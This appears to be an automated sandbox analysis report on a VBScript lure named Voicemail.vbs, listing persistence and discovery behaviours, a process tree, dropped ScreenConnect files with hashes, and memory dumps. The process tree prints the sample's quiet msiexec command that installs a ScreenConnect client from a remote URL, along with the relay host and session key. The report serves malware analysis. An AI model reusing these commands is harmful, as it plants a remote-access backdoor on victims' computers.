Analysis

  • max time kernel
    149s
  • max time network
    142s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    30/10/2026, 12:17

General

  • Target
    Voicemail.vbs
  • Size 500B
  • Sample261030-pf4teaywcs
  • SHA256 190c915d2b4733d2c3e5287c6908957b0e0a14e13411df884b9e7856abaa2f22
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Use of msiexec (install) with remote resource 1 IoCs
  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 10 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Drops file in Program Files directory 17 IoCs
  • Drops file in Windows directory 21 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Voicemail.vbs"
    1⤵
    • Checks computer location settings
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:3148
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "https://goethe-schule.screenconnect.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest&c=GOETHE-SCHULE%20DE&c=&c=EDUCATION&c=&c=&c=&c=&c=" /quiet /norestart
      2⤵
      • Use of msiexec (install) with remote resource
      • Suspicious use of AdjustPrivilegeToken
      PID:3868
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Badlisted process makes network request
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3020
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 661819908130F338EA700F13C8AC9174
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1648
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSIB5BF.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240694859 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:2112
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding DFA468AA3A18E5C503D5800A89F58327 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:1580
  • C:\Program Files (x86)\ScreenConnect Client (efcb57d45a0c41a2)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (efcb57d45a0c41a2)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-w50qpv-relay.screenconnect.com&p=443&s=1a669b92-8460-46cb-a230-efe7c77037a4&k=BgIAAACkAABSU0ExAAgAAAEAAQC195R162YZZX5PnBn13nPI3oYa0BNa4XBj8JarvzrT%2bMud2JNLHHEz1WOT6YcO6rVB2qECpvQ4wWWfKAcsh3S8Ge4%2b6RO6d%2bLH1HSC42zcfq1XLxXnEHMANEO3SIkiZFEgC6u%2fvtiLkM%2b6Fr9ymMA2OguOVA4q3KLFXLBprZ9oOJ8T6xti51JEsBEDiwIO9MCQbuR0c7wW2PwNpdnv9P7lnLQtnbW%2bP4PS3%2fHwd6%2faOaPwctEguGeV4pKzaHM4In3kM7cNtCf2lBt68Noj5w1TXuqDP2wkz9Zy2RVy5GGPeIXjgmm5zp%2fkuwqAkTn%2bD1Ay64QV5DU99EaAvogTYam0&c=GOETHE-SCHULE%20DE&c=&c=EDUCATION&c=&c=&c=&c=&c="
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • Reads the TCP/IP host and domain name from the registry
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1192
    • C:\Program Files (x86)\ScreenConnect Client (efcb57d45a0c41a2)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (efcb57d45a0c41a2)\ScreenConnect.WindowsClient.exe" "RunRole" "d7ee3d70-a604-44c5-8ab2-e8314848a50b" "User"
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:824
    • C:\Program Files (x86)\ScreenConnect Client (efcb57d45a0c41a2)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (efcb57d45a0c41a2)\ScreenConnect.WindowsClient.exe" "RunRole" "1672e2cc-0511-48d9-a48f-429eec529530" "System"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:3000

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        e58b8ed.rbs

        • Path C:\Config.Msi\e58b8ed.rbs
        • Size 214KB
        • SHA256 795267bee31b584d8a320a93d8ca00fa999cb52998e1c98c92a973b921676a7a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (efcb57d45a0c41a2)\Client.en-US.resources
        • Size 65KB
        • SHA256 bd8901dd3666277f6d7aa1f4118ad53f5d4229c5d9f67f94e635bf2add3731dd
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.fr-FR.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (efcb57d45a0c41a2)\Client.fr-FR.resources
        • Size 55KB
        • SHA256 db771509ade80cbea5b78cf3b6d99ac87dc70e2c116405ae8c4ed08ae1748e50
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (efcb57d45a0c41a2)\Client.resources
        • Size 6KB
        • SHA256 bd34378ad99f7609fa0c7c8edde6337c738a61d288863015629329806a1cc728
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (efcb57d45a0c41a2)\ScreenConnect.Client.dll
        • Size 413KB
        • SHA256 be1e3522a20c244b3e20b4f7bc2fc736b6103c930d6cf8366e0bb97cb82d5241
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (efcb57d45a0c41a2)\ScreenConnect.ClientService.dll
        • Size 92KB
        • SHA256 67f75a75bc19288cac0071e19e7af4463f2ecf4bb75fe13af80a4f0f57144253
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (efcb57d45a0c41a2)\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 bc19602c59b0ba4a7a99f791c87298df76d8d62f86a928e112dca285a88a5a77
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (efcb57d45a0c41a2)\ScreenConnect.Core.dll
        • Size 583KB
        • SHA256 91ae86fd5439c7d8a54b75cbb60c2ff9bdff84657b962d340d48cdf656c4928d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (efcb57d45a0c41a2)\ScreenConnect.Windows.dll
        • Size 1.7MB
        • SHA256 9ddaf17f7f802e58c645d42184e0ac33dc755a885bc3637a7d837a4f6ae5fdea
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsAuthenticationPackage.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (efcb57d45a0c41a2)\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (efcb57d45a0c41a2)\ScreenConnect.WindowsClient.exe
        • Size 689KB
        • SHA256 24671116eab5a97c5d15c4d7b434adff9ad2119db9b487490f4b251f28167069
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\ScreenConnect Client (efcb57d45a0c41a2)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.WindowsCredentialProvider.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (efcb57d45a0c41a2)\ScreenConnect.WindowsCredentialProvider.dll
        • Size 837KB
        • SHA256 89fd40ccc2e2be1bf140e748212922aa4010a7ef4b0465aca958c9d3417e0bdd
        • MD5 SHA1 SHA512 SSDEEP TLSH

        system.config

        • Path C:\Program Files (x86)\ScreenConnect Client (efcb57d45a0c41a2)\system.config
        • Size 964B
        • SHA256 dfe63dd36b15f1e52bf8161dbbcb05a9a05c8cebd76258445f336bd4f26bb21e
        • MD5 SHA1 SHA512 TLSH

        MSIAC48.tmp

        • Path C:\Windows\Installer\MSIAC48.tmp
        • Size 12.0MB
        • SHA256 90fdfdb8ae0e690b1e96643f7596a8bcfe4d23d8b604e970b15eff84b8697c36
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSIB5BF.tmp

        • Path C:\Windows\Installer\MSIB5BF.tmp
        • Size 1.1MB
        • SHA256 d39e53d74c6840d331b91b9c949db26f7c93a824e9fb104c532346a8c465b6e2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSIB5BF.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSIB5BF.tmp-\ScreenConnect.Core.dll
        • Size 573KB
        • SHA256 399ab0c1bcf2bf0c7618066d676b6958c2a5f4fed2d8f769f0eeea5492720e4f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSIB5BF.tmp-\ScreenConnect.InstallerActions.dll
        • Size 24KB
        • SHA256 f35f007dcb154d0346745309630b8cc21fe49638e76dc8dd77a3c62cb0aa754a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Windows\Installer\MSIB5BF.tmp-\ScreenConnect.Windows.dll
        • Size 1.7MB
        • SHA256 4c281797c351fed77890634006a51bc3a6c60efa4c831fe21934353f304cdf61
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSIB99A.tmp

        • Path C:\Windows\Installer\MSIB99A.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        2hhnvry2.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (efcb57d45a0c41a2)\2hhnvry2.newcfg
        • Size 881B
        • SHA256 a8a5b1b4b372e2b9d225683081a14b4ad275ed282c961eb13b124755d29bc398
        • MD5 SHA1 SHA512 TLSH

        gwenx1ng.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (efcb57d45a0c41a2)\gwenx1ng.newcfg
        • Size 683B
        • SHA256 74970000d328e8a7efc16951d6d54291f1369bffb42ba1343988a620e6ddf1cd
        • MD5 SHA1 SHA512 TLSH

        user.config

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (efcb57d45a0c41a2)\user.config
        • Size 520B
        • SHA256 e46118d653ee518a782052c3504f4a09484cb588963077bc23bdc508a37ee0ed
        • MD5 SHA1 SHA512 TLSH

        memory/824-167-0x0000000002970000-0x00000000029B1000-memory.dmp

        memory/824-162-0x000000001B910000-0x000000001BAC0000-memory.dmp

        memory/824-161-0x000000001B6C0000-0x000000001B756000-memory.dmp

        memory/824-160-0x0000000002900000-0x000000000296C000-memory.dmp

        memory/824-159-0x0000000000690000-0x0000000000740000-memory.dmp

        memory/824-165-0x0000000000FF0000-0x000000000100A000-memory.dmp

        memory/824-166-0x000000001CD00000-0x000000001CE86000-memory.dmp

        memory/1192-135-0x00000000047E0000-0x0000000004872000-memory.dmp

        memory/1192-102-0x0000000004450000-0x00000000044A0000-memory.dmp

        memory/1192-90-0x0000000001BD0000-0x0000000001BEA000-memory.dmp

        memory/1192-96-0x0000000004340000-0x00000000043D6000-memory.dmp

        memory/1192-139-0x00000000049C0000-0x0000000004A96000-memory.dmp

        memory/1192-137-0x00000000044A0000-0x00000000044E1000-memory.dmp

        memory/1192-100-0x0000000004590000-0x0000000004740000-memory.dmp

        memory/1192-134-0x0000000004510000-0x000000000457C000-memory.dmp

        memory/2112-51-0x0000000005B70000-0x0000000006114000-memory.dmp

        memory/2112-38-0x0000000005090000-0x00000000050BE000-memory.dmp

        memory/2112-46-0x0000000005170000-0x0000000005206000-memory.dmp

        memory/2112-50-0x0000000005410000-0x00000000055C0000-memory.dmp

        memory/2112-42-0x00000000050C0000-0x00000000050CC000-memory.dmp